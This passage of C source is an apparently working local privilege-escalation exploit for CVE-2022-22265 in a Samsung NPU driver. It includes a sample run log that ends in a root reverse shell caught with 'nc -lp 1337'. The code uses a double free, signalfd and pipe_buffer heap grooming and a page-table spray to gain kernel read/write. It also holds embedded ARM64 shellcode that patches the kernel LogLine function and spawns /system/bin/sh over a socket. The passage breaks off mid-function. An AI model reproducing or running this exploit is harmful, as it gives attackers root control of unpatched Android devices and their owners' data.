ffffff882b694a00 -> com.samsung.cmh ffffff884f7dca00 -> ung.android.scs ffffff8867eb9280 -> kworker/5:2H ffffff88a35d4a00 -> kbase_event ffffff88393f8000 -> d.process.acore ffffff88393fca00 -> ung.android.fmm ffffff88b550a500 -> .app.aodservice ffffff802527a500 -> sh ffffff8008df8000 -> droid.messaging ffffff8030e8b780 -> su ffffff806d37b780 -> sh ffffff8030e84a00 -> kworker/3:2 ffffff806ce14a00 -> d.beaconmanager ffffff88a4c33780 -> droid.bluetooth ffffff88bd54dc80 -> msung.klmsagent ffffff8051923780 -> fwhdr_crc_wq ffffff88f1ff8000 -> mxmgmt_thread_w ffffff8051920000 -> mxlog_thread ffffff88bcf7dc80 -> sh ffffff88b3468000 -> cControlService ffffff8059e6ca00 -> exp1337 [+] found current process [+] current->files->fdt->fd 0xffffff88a3300000 [+] current->mm 0xffffff8834458b40 [+] current->mm->pgd 0xffffff88fee68000 [+] offset_logline 0x818 [+] offset_pud 0x1e4 [+] offset_pmd 0x190 [+] offset_pte 0x19 [+] pud 0x8000008b6e1c003 [+] pmd 0x8b6e1b003 [+] pte_logline 0x6000089aed9fc3 [+] shellcode injected into LogLine [+] execute nc -lp 1337 and press key here [+] trigger lpe [+] look at root reverse shell :) [+] LogLine function restaured [+] clean up [+] finish a25x:/ $ a25x:/ $ nc -lp 1337 id uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:sec_system_init_shell:s0 */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <stdint.h> #include <stdbool.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <pthread.h> #include <sys/wait.h> #include <sys/syscall.h> #include <time.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/signalfd.h> #include <signal.h> #include <sys/stat.h> #include <math.h> #define OBJECT_SIZE 128 #define OBJS_PER_SLAB 32 #define CPU_PARTIAL 512 #define NUM_FILES 0x3800 #define NUM_TABLE 32 #define NUM_PTE 512 #define DMA_HEAP_IOC_MAGIC 'H' #define DMA_HEAP_IOCTL_ALLOC _IOWR(DMA_HEAP_IOC_MAGIC, 0x0, struct dma_heap_allocation_data) #define NCP_MAGIC1 0x0C0FFEE0 #define NCP_MAGIC2 0xC0DEC0DE #define VS4L_DF_IMAGE(a, b, c, d) ((a) | (b << 8) | (c << 16) | (d << 24)) #define VS4L_DF_IMAGE_NPU VS4L_DF_IMAGE('N', 'P', 'U', '0') #define VS4L_VERTEXIOC_S_GRAPH _IOW('V', 0, struct vs4l_graph) #define VS4L_VERTEXIOC_S_FORMAT _IOW('V', 1, struct vs4l_format_list) #define VS4L_VERTEXIOC_STREAM_ON _IO('V', 4) #define VS4L_VERTEXIOC_STREAM_OFF _IO('V', 5) #define MAX_PIPES 256 #define MAX_SIGNAL 32 #define N 1 // kcalloc arbitrary size N * 80 / 0 < N <= 16 #define LINUX_ARM64_IMAGE_MAGIC 0x644d5241 #define KERNEL_DATA 0x1de0000 #define SELINUX_STATE 0x3ea000 #define OFF_SELINUX_STATE 0x968 #define INIT_TASK 0x1d000 #define OFF_INIT_TASK 0xe80 #define OFFSET_TASKS 0x4c8 #define OFFSET_MM 0x518 #define OFFSET_PID 0x5c8 #define OFFSET_CRED 0x780 #define OFFSET_COMM 0x790 #define OFFSET_FS 0x7b8 #define OFFSET_FILES 0x7c0 #define OFFSET_PGD 0x48 #define OFFSET_FDT 0x20 #define OFFSET_FD 0x8 int fd; int fd_read; int pipefd[MAX_PIPES][2]; int fd_init[NUM_FILES]; int fd_cross[(CPU_PARTIAL * OBJS_PER_SLAB) + MAX_SIGNAL + 1]; char *map[NUM_TABLE][NUM_PTE]; uint32_t phys_off; uint64_t pmd[4]; uint8_t offset_pgt; sigset_t mask; enum vs4l_direction { VS4L_DIRECTION_IN = 1, VS4L_DIRECTION_OT }; struct vs4l_graph { uint32_t id; uint32_t priority; uint32_t time; /* in millisecond */ uint32_t flags; uint32_t size; unsigned long addr; }; struct vs4l_format_list { uint32_t direction; uint32_t count; struct vs4l_format *formats; }; struct vs4l_format { uint32_t target; uint32_t format; uint32_t plane; uint32_t width; uint32_t height; uint32_t stride; uint32_t cstride; uint32_t channels; uint32_t pixel_format; }; struct drv_user_share { uint32_t id; int ncp_fd; uint32_t ncp_size; unsigned long ncp_mmap; }; struct dma_heap_allocation_data { uint64_t len; uint32_t fd; uint32_t fd_flags; uint64_t heap_flags; }; struct ncp_header { uint32_t magic_number1; uint32_t hdr_version; uint32_t hdr_size; uint32_t intrinsic_version; uint32_t net_id; uint32_t unique_id; uint32_t priority; uint32_t flags; uint32_t period; uint32_t workload; uint32_t total_flc_transfer_size; uint32_t total_sdma_transfer_size; uint32_t address_vector_offset; uint32_t address_vector_cnt; uint32_t memory_vector_offset; uint32_t memory_vector_cnt; uint32_t group_vector_offset; uint32_t group_vector_cnt; uint32_t thread_vector_offset; uint32_t thread_vector_cnt; uint32_t body_version; uint32_t body_offset; uint32_t body_size; uint32_t io_vector_offset; uint32_t io_vector_cnt; uint32_t rq_vector_offset; uint32_t rq_vector_size; uint32_t reserved[8]; uint32_t magic_number2; }; struct group_vector { uint32_t index; uint32_t id; uint32_t type; uint32_t size; uint32_t status; uint32_t flags; uint32_t batch; uint32_t intrinsic_offset; uint32_t intrinsic_size; uint32_t isa_offset; uint32_t isa_size; }; struct memory_vector { uint32_t type; uint32_t pixel_format; uint32_t width; uint32_t height; uint32_t channels; uint32_t wstride; uint32_t cstride; uint32_t address_vector_index; }; struct address_vector { uint32_t index; uint32_t m_addr; uint32_t s_addr; uint32_t size; }; enum ncp_memory_type { MEMORY_TYPE_IN_FMAP, /* input feature map */ MEMORY_TYPE_OT_FMAP, /* output feature map */ MEMORY_TYPE_IM_FMAP, /* intermediate feature map */ MEMORY_TYPE_OT_PIX0, MEMORY_TYPE_OT_PIX1, MEMORY_TYPE_OT_PIX2, MEMORY_TYPE_OT_PIX3, MEMORY_TYPE_WEIGHT, MEMORY_TYPE_WMASK, MEMORY_TYPE_LUT, MEMORY_TYPE_NCP, MEMORY_TYPE_GOLDEN, MEMORY_TYPE_CUCODE, MEMORY_TYPE_MAX }; struct ncp_blob { uint32_t vector; uint32_t offset; uint32_t format; uint32_t bpp; uint32_t n; uint32_t c; uint32_t h; uint32_t w; uint32_t w_stride; uint32_t c_stride; uint32_t n_stride; }; struct dma_simple_option { uint32_t src_vector; uint32_t src_offset; uint32_t dst_vector; uint32_t dst_offset; uint32_t size; }; struct dma_blob_option { struct ncp_blob src; struct ncp_blob dst; }; struct io_desc { uint32_t uid; uint32_t bid; uint32_t sgid; uint32_t wait_flag; uint32_t trig_flag; uint32_t mode; uint32_t pad; uint32_t scale; uint32_t bias; union { struct dma_simple_option simple; struct dma_blob_option blob; } option; }; struct pipe_buffer { uint64_t page; uint32_t offset; uint32_t len; uint64_t ops; uint32_t flags; uint32_t pad; uint64_t private; }; struct pipe_buf_operations { uint64_t confirm; uint64_t release; uint64_t steal; uint64_t get; }; struct dma_heap_allocation_data data; struct drv_user_share user_data; struct vs4l_graph graph; struct ncp_header *ncp; struct group_vector *gv; struct address_vector *av; struct memory_vector *mv; #define MEMSTART 0x80000000UL #define VIRTUAL_KERNEL_START 0xffffffc008000000UL #define LINEAR_MAP_START 0xffffff8000000000UL bool is_lm_addr(uint64_t kaddr) { return (kaddr & (VIRTUAL_KERNEL_START - (0x8 << (6 * 4)))) == LINEAR_MAP_START; } uint64_t virt_to_phys(uint64_t kaddr) { if (is_lm_addr(kaddr)) { return kaddr - LINEAR_MAP_START + MEMSTART; } else { return kaddr - VIRTUAL_KERNEL_START + MEMSTART; } } uint64_t phys_to_virt(uint64_t paddr, bool is_lm_addr) { if (is_lm_addr) { return paddr + LINEAR_MAP_START - MEMSTART; } else { return paddr + VIRTUAL_KERNEL_START - MEMSTART; } } uint64_t vmemmap = 0xffffffff00000000UL; uint64_t virt_to_page(uint64_t kaddr) { return vmemmap + (((virt_to_phys(kaddr) - MEMSTART) >> 12) << 6); } uint64_t page_to_virt(uint64_t page, bool is_lm_addr) { return phys_to_virt((((page - vmemmap) >> 6) << 12) + MEMSTART, is_lm_addr); } int ncpu; bool pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { perror("[-] sched_setafinnity(): "); return false; } return true; } char *page, *victim; #define TLB 0x28000UL uint64_t *full_tlb; /* replace tlb cache */ void replace_tlb(void) { /* change context */ sync(); /* access pages */ uint32_t junk = 0; for (uint32_t i = 0; i < TLB; i++) { uint64_t idx = (uint64_t) (full_tlb + i * 512) & ~0x1fffff; if (idx == pmd[0] || idx == pmd[1] || idx == pmd[2] || idx == pmd[3]) { // printf("[*] avoiding pmd 0x%lx\n", idx); continue; } full_tlb[i * 512] = i; full_tlb[(i * 512) + 1] = i; if (full_tlb[i * 512] && full_tlb[(i * 512) + 1]) junk++; } } uint64_t read64(uint64_t addr) { uint32_t off = addr & 0xfff; /* replace tlb cache */ replace_tlb(); uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; *(uint64_t *) (victim + offset_pgt) = pte; /* replace tlb cache */ replace_tlb(); uint64_t data = *(uint64_t *) (page + off); return data; } void write64(uint64_t addr, uint64_t data) { uint32_t off = addr & 0xfff; /* replace tlb cache */ replace_tlb(); uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; *(uint64_t *) (victim + offset_pgt) = pte; /* replace tlb cache */ replace_tlb(); *(uint64_t *) (page + off) = data; } void write32(uint64_t addr, uint32_t data) { uint32_t off = addr & 0xfff; /* replace tlb cache */ replace_tlb(); uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; *(uint64_t *) (victim + offset_pgt) = pte; /* replace tlb cache */ replace_tlb(); *(uint32_t *) (page + off) = data; } void write16(uint64_t addr, uint16_t data) { uint32_t off = addr & 0xfff; /* replace tlb cache */ replace_tlb(); uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; *(uint64_t *) (victim + offset_pgt) = pte; /* replace tlb cache */ replace_tlb(); *(uint16_t *) (page + off) = data; } void write8(uint64_t addr, uint8_t data) { uint32_t off = addr & 0xfff; /* replace tlb cache */ replace_tlb(); uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43; *(uint64_t *) (victim + offset_pgt) = pte; /* replace tlb cache */ replace_tlb(); *(page + off) = data; } uint32_t get_directory(uint64_t addr) { return addr & 0x1ff; } void init_ncp_header(struct ncp_header *ncp) { memset(ncp, 0x0, sizeof(struct ncp_header)); ncp->magic_number1 = NCP_MAGIC1; ncp->magic_number2 = NCP_MAGIC2; ncp->hdr_version = 24; ncp->hdr_size = 4096; ncp->intrinsic_version = 24; ncp->memory_vector_cnt = 2; ncp->memory_vector_offset = sizeof(struct ncp_header) * 3; ncp->address_vector_cnt = 2; ncp->address_vector_offset = sizeof(struct ncp_header) * 2; //ncp->group_vector_cnt = 1; //ncp->group_vector_offset = sizeof(struct ncp_header); } void prepare_graph(struct drv_user_share *user_data, struct vs4l_graph *graph, struct dma_heap_allocation_data *data) { memset(user_data, 0x0, sizeof(struct drv_user_share)); user_data->ncp_fd = data->fd; user_data->ncp_size = 0x1000; memset(graph, 0x0, sizeof(struct vs4l_graph)); graph->addr = (unsigned long) user_data; } void do_graph_ioctl(int fd, struct ncp_header *ncp, struct address_vector *av, struct memory_vector *mv, struct vs4l_graph *graph, uint32_t type, uint32_t n) { /* * bpp = mv->pixel_format; * cal_size = (bpp / 8) * mv->channels * mv->width * mv->height; * if (av->size > cal_size) error */ ncp->memory_vector_cnt = n; ncp->address_vector_cnt = n; memset(av, 0x0, sizeof(struct address_vector)); av->index = 0; memset(mv, 0x0, sizeof(struct memory_vector)); mv->type = type; puts("[+] ioctl graph"); int ret = ioctl(fd, VS4L_VERTEXIOC_S_GRAPH, graph); if (ret < 0) { printf("[-] couldn't ioctl VS4L_VERTEXIOC_S_GRAPH: %d\n", errno); exit(0); } } void do_format_ioctl(int fd, uint32_t count, uint32_t direction, uint32_t f) { struct vs4l_format format[3]; memset(format, 0x0, sizeof(format)); for (int j = 0; j < 3; j++) { format[j].format = f; format[j].height = 64; format[j].width = 64; format[j].pixel_format = 8; format[j].channels = 15; } struct vs4l_format_list format_list; memset(&format_list, 0x0, sizeof(struct vs4l_format_list)); format_list.count = count; format_list.direction = direction; format_list.formats = format; puts("[+] ioctl format"); int ret = ioctl(fd, VS4L_VERTEXIOC_S_FORMAT, &format_list); if (f != 1337) { if (ret < 0) { printf("[-] couldn't ioctl VS4L_VERTEXIOC_S_FORMAT: %d\n", errno); exit(0); } } } void hexdump(uint64_t *buf, uint64_t size) { for (int i = 0; i < size / 8; i += 2) { printf("0x%x ", i * 8); printf("%016lx %016lx\n", buf[i], buf[i + 1]); } } char logline[576] = {0xFF, 0x03, 0x03, 0xD1, 0xFD, 0x7B, 0x06, 0xA9, 0xFC, 0x6F, 0x07, 0xA9, 0xFA, 0x67, 0x08, 0xA9, 0xF8, 0x5F, 0x09, 0xA9, 0xF6, 0x57, 0x0A, 0xA9, 0xF4, 0x4F, 0x0B, 0xA9, 0xFD, 0x83, 0x01, 0x91, 0x5C, 0xD0, 0x3B, 0xD5, 0xF6, 0x03, 0x02, 0x2A, 0xF4, 0x03, 0x01, 0x2A, 0x88, 0x17, 0x40, 0xF9, 0xF5, 0x03, 0x00, 0xAA, 0xC0, 0x03, 0x80, 0x52, 0xE1, 0x03, 0x1F, 0x2A, 0xE2, 0x03, 0x1F, 0x2A, 0xF3, 0x03, 0x04, 0xAA, 0xF7, 0x03, 0x03, 0xAA, 0xA8, 0x83, 0x1F, 0xF8, 0x29, 0x8D, 0x00, 0x94, 0xE0, 0x01, 0x00, 0x34, 0xC8, 0x0A, 0x00, 0x11, 0xDF, 0x16, 0x00, 0x71, 0xEA, 0x00, 0x80, 0x52, 0x09, 0x06, 0x80, 0x52, 0x0B, 0x00, 0xB0, 0x12, 0x08, 0x31, 0x8A, 0x1A, 0xE0, 0x23, 0x00, 0x91, 0xF7, 0xD7, 0x01, 0xA9, 0xE9, 0x07, 0x00, 0xF9, 0xEB, 0x23, 0x02, 0x29, 0xFF, 0xCF, 0x02, 0xA9, 0xF4, 0x2B, 0x00, 0xB9, 0x91, 0x91, 0x00, 0x94, 0x62, 0x00, 0x00, 0x14, 0x17, 0x03, 0x00, 0xB4, 0x1F, 0x20, 0x03, 0xD5, 0xE8, 0x2A, 0x1E, 0x10, 0xF9, 0x01, 0x00, 0x90, 0x08, 0xFD, 0xDF, 0x08, 0x28, 0x0D, 0x00, 0x36, 0x28, 0x03, 0x47, 0xF9, 0xB6, 0x7F, 0x3E, 0x29, 0xF7, 0x07, 0x00, 0xF9, 0xB5, 0x83, 0x1E, 0xF8, 0x00, 0x11, 0x40, 0xF9, 0xB4, 0x43, 0x1E, 0xB8, 0xB3, 0x83, 0x1D, 0xF8, 0x00, 0x0C, 0x00, 0xB4, 0x08, 0x00, 0x40, 0xF9, 0xA1, 0x33, 0x00, 0xD1, 0xA2, 0x43, 0x00, 0xD1, 0xE3, 0x23, 0x00, 0x91, 0xA4, 0x63, 0x00, 0xD1, 0xA5, 0x73, 0x00, 0xD1, 0x08, 0x19, 0x40, 0xF9, 0xA6, 0xA3, 0x00, 0xD1, 0x00, 0x01, 0x3F, 0xD6, 0x4A, 0x00, 0x00, 0x14, 0x1F, 0x20, 0x03, 0xD5, 0x08, 0x27, 0x1E, 0x10, 0xF8, 0x01, 0x00, 0x90, 0x08, 0xFD, 0xDF, 0x08, 0x08, 0x0D, 0x00, 0x36, 0x17, 0xF3, 0x46, 0xF9, 0xE0, 0x03, 0x17, 0xAA, 0xD4, 0x90, 0x00, 0x94, 0xF9, 0x01, 0x00, 0x90, 0x28, 0xEB, 0x46, 0xF9, 0x48, 0x04, 0x00, 0xB5, 0x00, 0x03, 0x80, 0x52, 0xD3, 0x8F, 0x00, 0x94, 0xF8, 0x03, 0x00, 0xAA, 0x09, 0x91, 0x00, 0x94, 0xFB, 0x03, 0x00, 0xAA, 0x1F, 0xFF, 0x00, 0xA9, 0x1F, 0x03, 0x00, 0xF9, 0x35, 0x90, 0x00, 0x94, 0x1F, 0x40, 0x00, 0xB1, 0x82, 0x0F, 0x00, 0x54, 0xFA, 0x03, 0x00, 0xAA, 0x1F, 0x5C, 0x00, 0xF1, 0xFB, 0x03, 0x00, 0xF9, 0xC2, 0x00, 0x00, 0x54, 0x48, 0x7B, 0x1F, 0x53, 0xFB, 0x03, 0x18, 0xAA, 0x68, 0x17, 0x00, 0x38, 0x5A, 0x01, 0x00, 0xB5, 0x0D, 0x00, 0x00, 0x14, 0x59, 0x0F, 0x40, 0xB2, 0x20, 0x07, 0x00, 0x91, 0xBF, 0x8F, 0x00, 0x94, 0x28, 0x0B, 0x00, 0x91, 0xFB, 0x03, 0x00, 0xAA, 0xF9, 0x01, 0x00, 0x90, 0x1A, 0x83, 0x00, 0xA9, 0x08, 0x03, 0x00, 0xF9, 0xE0, 0x03, 0x1B, 0xAA, 0xE1, 0x03, 0x40, 0xF9, 0xE2, 0x03, 0x1A, 0xAA, 0x22, 0x90, 0x00, 0x94, 0x7F, 0x6B, 0x3A, 0x38, 0x38, 0xEB, 0x06, 0xF9, 0x1F, 0x20, 0x03, 0xD5, 0x88, 0x22, 0x1E, 0x10, 0x08, 0xFD, 0xDF, 0x08, 0x48, 0x09, 0x00, 0x36, 0x28, 0xEB, 0x46, 0xF9, 0xE9, 0x01, 0x00, 0x90, 0x0A, 0x01, 0x40, 0x39, 0xB6, 0x7F, 0x3E, 0x29, 0x0B, 0x09, 0x40, 0xF9, 0xB5, 0x83, 0x1E, 0xF8, 0x29, 0x01, 0x47, 0xF9, 0xB4, 0x43, 0x1E, 0xB8, 0x5F, 0x01, 0x00, 0x72, 0xB3, 0x83, 0x1D, 0xF8, 0x68, 0x15, 0x88, 0x9A, 0x20, 0x11, 0x40, 0xF9, 0xE8, 0x07, 0x00, 0xF9, 0x00, 0x03, 0x00, 0xB4, 0x08, 0x00, 0x40, 0xF9, 0xA1, 0x33, 0x00, 0xD1, 0xA2, 0x43, 0x00, 0xD1, 0xE3, 0x23, 0x00, 0x91, 0xA4, 0x63, 0x00, 0xD1, 0xA5, 0x73, 0x00, 0xD1, 0x08, 0x19, 0x40, 0xF9, 0xA6, 0xA3, 0x00, 0xD1, 0x00, 0x01, 0x3F, 0xD6, 0xE0, 0x03, 0x17, 0xAA, 0x9B, 0x90, 0x00, 0x94, 0x88, 0x17, 0x40, 0xF9, 0xA9, 0x83, 0x5F, 0xF8, 0x1F, 0x01, 0x09, 0xEB, 0xC1, 0x08, 0x00, 0x54, 0xF4, 0x4F, 0x4B, 0xA9, 0xF6, 0x57, 0x4A, 0xA9, 0xF8, 0x5F, 0x49, 0xA9, 0xFA, 0x67, 0x48, 0xA9, 0xFC, 0x6F, 0x47, 0xA9, 0xFD, 0x7B, 0x46, 0xA9, 0xFF, 0x03, 0x03, 0x91, 0xC0, 0x03, 0x5F, 0xD6}; char shellcode[287] = {0xff, 0x03, 0x03, 0xd1, 0xfd, 0x7b, 0x06, 0xa9, 0xfc, 0x6f, 0x07, 0xa9, 0xfa, 0x67, 0x08, 0xa9, 0xf8, 0x5f, 0x09, 0xa9, 0xf6, 0x57, 0x0a, 0xa9, 0xf4, 0x4f, 0x0b, 0xa9, 0xc8, 0x15, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x1f, 0x00, 0x00, 0xf1, 0x01, 0x06, 0x00, 0x54, 0x00, 0x24, 0xa0, 0xf2, 0x01, 0x00, 0x80, 0xd2, 0x02, 0x00, 0x80, 0xd2, 0x03, 0x00, 0x80, 0xd2, 0x88, 0x1b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x1f, 0x00, 0x00, 0xf1, 0x01, 0x05, 0x00, 0x54, 0x40, 0x00, 0x80, 0xd2, 0x21, 0x00, 0x80, 0xd2, 0x02, 0x00, 0x80, 0xd2, 0xc8, 0x18, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xf3, 0x03, 0x00, 0xaa, 0xe0, 0x03, 0x13, 0xaa, 0x01, 0x05, 0x00, 0x10, 0x02, 0x02, 0x80, 0xd2, 0x68, 0x19, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x01, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x21, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x41, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x02, 0x00, 0x10, 0xf5, 0x03, 0x00, 0xaa, 0x16, 0x00, 0x80, 0xd2, 0xf5, 0x03, 0x00, 0xf9, 0xf6, 0x07, 0x00, 0xf9, 0xe1, 0x03, 0x00, 0x91, 0x02, 0x00, 0x80, 0xd2, 0xa8, 0x1b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x80, 0xd2, 0x01, 0x00, 0x80, 0xd2, 0xc8, 0x0b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xf4, 0x4f, 0x4b, 0xa9, 0xf6, 0x57, 0x4a, 0xa9, 0xf8, 0x5f, 0x49, 0xa9, 0xfa, 0x67, 0x48, 0xa9, 0xfc, 0x6f, 0x47, 0xa9, 0xfd, 0x7b, 0x46, 0xa9, 0xff, 0x03, 0x03, 0x91, 0xc0, 0x03, 0x5f, 0xd6, 0x02, 0x00, 0x05, 0x39, 0x7f, 0x00, 0x00, 0x01, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; int main(int argc, char *argv[]) { pin_cpu(5); puts("[+] CVE-2022-22265"); ncpu = sysconf(_SC_NPROCESSORS_ONLN); /* set name process */ char *name = "exp1337"; prctl(PR_SET_NAME, name, 0, 0, 0); puts("[+] mmap pages to phys r/w"); /* mmap spray pte */ uint64_t addr = 0x20000; for (uint32_t i = 0; i < NUM_TABLE; i++) { for (uint32_t j = 0; j < NUM_PTE; j++) { if ((map[i][j] = mmap((void *) addr + (i * 0x200000) + (j * 0x1000), 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, 0)) == MAP_FAILED) { perror("[-] mmap()"); exit(0); } } } puts("[+] set num files"); /* set num files */ struct rlimit limit; limit.rlim_cur = 4096 * 8; limit.rlim_max = 4096 * 8; if (setrlimit(RLIMIT_NOFILE, &limit) != 0) { perror("[-] setrlimit()"); exit(0); } puts("[+] preparing pipe buffer"); /* pipe buffer to locating uaf */ for (int i = 0; i < MAX_PIPES; i++) { // pin_cpu(i % ncpu); if (pipe(pipefd[i]) < 0) { printf("[-] pipe: %d\n", errno); exit(0); } } puts("[+] alloc dmabuf"); /* dmabuff manager */ int dma_fd = open("/dev/dma_heap/system", O_RDONLY); if (dma_fd < 0) { puts("[-] couldn't open /dev/dma_heap/system"); exit(0); } memset(&data, 0x0, sizeof(struct dma_heap_allocation_data)); data.len = 0x1000; data.fd_flags = O_RDWR | O_CLOEXEC; int ret = ioctl(dma_fd, DMA_HEAP_IOCTL_ALLOC, &data); if (ret < 0) { printf("[-] couldn't ioctl dma heap alloc: %d", errno); exit(0); } puts("[+] mmap buffer to ncp object"); /* buffer ncp */ char *dma_buffer = mmap((void *) 0x10000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, data.fd, 0); if (dma_buffer == MAP_FAILED) { printf("[-] couldn't mmap: %d", errno); exit(0); } puts("[+] open /dev/vertex10"); /* driver vulnerable */ fd = open("/dev/vertex10", O_RDONLY); if (fd < 0) { puts("[-] couldn't open /dev/vertex10"); exit(0); } /* prepare graph */ prepare_graph(&user_data, &graph, &data); /* init ncp */ ncp = (struct ncp_header *) dma_buffer; av = (struct address_vector *) (ncp + 2); mv = (struct memory_vector *) (ncp + 3); init_ncp_header(ncp); /* do graph ioctl */ do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, 2); /* do format ioctl */ do_format_ioctl(fd, 2, VS4L_DIRECTION_IN, VS4L_DF_IMAGE_NPU); /* do graph ioctl */ do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, N); puts("[+] init signalfd spray to better cross cache"); /* init signalfd to better cross cache */ for (int i = 0; i < NUM_FILES; i++) { // pin_cpu(i % ncpu); mask.sig[0] = ~0; // | 0x40100 fd_init[i] = signalfd(-1, &mask, 0); if (fd_init[i] < 0) { printf("[-] signalfd: %d\n", errno); exit(0); } } uint32_t i = 0, fd_idx = 0, offset = 0; puts("[+] start signalfd cross cache"); /* start cross cache */ for (i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) { // pin_cpu(i % ncpu); mask.sig[0] = ~0; // | 0x40100 fd_cross[i] = signalfd(-1, &mask, 0); if (fd_cross[i] < 0) { printf("[-] signalfd: %d\n", errno); exit(0); } } offset = i; /* do format ioctl */ do_format_ioctl(fd, N, VS4L_DIRECTION_IN, 1337); puts("[+] getting vulnerable object (from signalfd)"); /* getting object vulnerable */ for (i = 0; i < MAX_SIGNAL; i++) { // pin_cpu(i % ncpu); mask.sig[0] = ~0; // | 0x40100 fd_cross[offset + i] = signalfd(-1, &mask, 0); if (fd_cross[offset + i] < 0) { printf("[-] signalfd: %d\n", errno); exit(0); } } /* do graph ioctl */ do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, N); /* do format ioctl */ do_format_ioctl(fd, 3, VS4L_DIRECTION_OT, VS4L_DF_IMAGE_NPU); puts("[+] ioctl streamon"); ret = ioctl(fd, VS4L_VERTEXIOC_STREAM_ON); if (ret < 0) { printf("[-] couldn't ioctl VS4L_VERTEXIOC_STREAM_ON: %d\n", errno); exit(0); } puts("[+] ioctl streamoff (double free)"); /* double free vulnerable object */ ret = ioctl(fd, VS4L_VERTEXIOC_STREAM_OFF); if (ret < 0) { printf("[-] couldn't ioctl VS4L_VERTEXIOC_STREAM_OFF: %d\n", errno); exit(0); } puts("[+] spray pipe_buffer"); /* spray pipe_buffer */ char buf[(2 << 12)]; for (int64_t i = 0; i < MAX_PIPES; i++) { // pin_cpu(i % ncpu); // The arg has to be pow of 2 if (fcntl(pipefd[i][1], F_SETPIPE_SZ, 4096 * 2) < 0) { printf("[-] fcntl: %d\n", errno); exit(0); } *(int64_t *) buf = i; if (write(pipefd[i][1], buf, (1 << 12) + 8) < 0) { printf("[-] write: %d\n", errno); exit(0); } } int pos = -1; uint64_t leak; char file[64] = {0}; char buffer[256] = {0}; puts("[+] locating vulnerable signalfd object (uaf)"); /* locating vulnerable object (uaf) */ for (uint32_t j = 0; j < MAX_SIGNAL; j++) { snprintf(file, 26, "/proc/self/fdinfo/%d", fd_cross[offset + j]); fd_read = open(file, O_RDONLY); if (fd_read < 0) { printf("[-] open: %d\n", errno); exit(0); } int n = read(fd_read, buffer, 72); if (n < 0) { printf("[-] read: %d\n", errno); exit(0); } if (strncmp(&buffer[47], "fffffffffffbfeff", 16)) { leak = ~strtoul(&buffer[47], (char **) NULL, 16); printf("[+] pipe_buffer->page leak: 0x%016lx\n", leak); printf("[+] pipe_buffer->page to virt: 0x%016lx\n", page_to_virt(leak, true)); printf("[+] pipe_buffer->page to virt to page: 0x%016lx\n", virt_to_page(page_to_virt(leak, true))); fd_idx = offset + j; break; } bzero(file, 26); bzero(buffer, 72); } if (fd_idx) { printf("[+] fd_signal found at %dth\n", fd_cross[fd_idx]); } else { puts("[-] Exploit failed :("); exit(0); } mask.sig[0] = ~(leak + 0x80); // | 0x40100 signalfd(fd_cross[fd_idx], &mask, 0); puts("[+] locating vulnerable object pipe_buffer (for cross cache)"); /* locating vulnerable object (cross cache) */ int c; for (int j = 0; j < MAX_PIPES; j++) { int n = read(pipefd[j][0], &c, 4); if (n < 0 || j != c) { printf("[+] pipe fd found at %dth\n", j); pos = j; break; } } if (pos == -1) { puts("[-] Exploit failed :("); exit(0); } puts("[+] free vulnerable object (from pipe_buffer)"); close(pipefd[pos][0]); // free vulnerable object close(pipefd[pos][1]); puts("[+] finishing cross cache"); /* emptying the page of the fd vulnerable */ for (i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) { close(fd_cross[i]); } /* discard slab */ for (i = 0; i < MAX_SIGNAL; i++) { if ((offset + i) != fd_idx) { close(fd_cross[offset + i]); } } puts("[+] spray page table"); /* spray PTE */ for (uint32_t i = 0; i < NUM_TABLE; i++) { for (uint32_t j = 0; j < NUM_PTE; j++) { *(uint32_t *) map[i][j] = (i * 0x200) + j; } } lseek(fd_read, 0, SEEK_SET); bzero(buffer, 72); int n = read(fd_read, buffer, 72); if (n < 0) { printf("[-] read: %d\n", errno); exit(0); } leak = ~strtoul(&buffer[47], (char **) NULL, 16); uint64_t flag = (leak & ((uint64_t) 0xfff << (13 * 4))); if ((flag >> (13 * 4)) != 0xe) { puts("[-] Exploit failed :("); exit(0); } printf("[+] phys leak 0x%016lx\n", leak); uint64_t pte_signalfd_restaure = leak; puts("[+] mmap 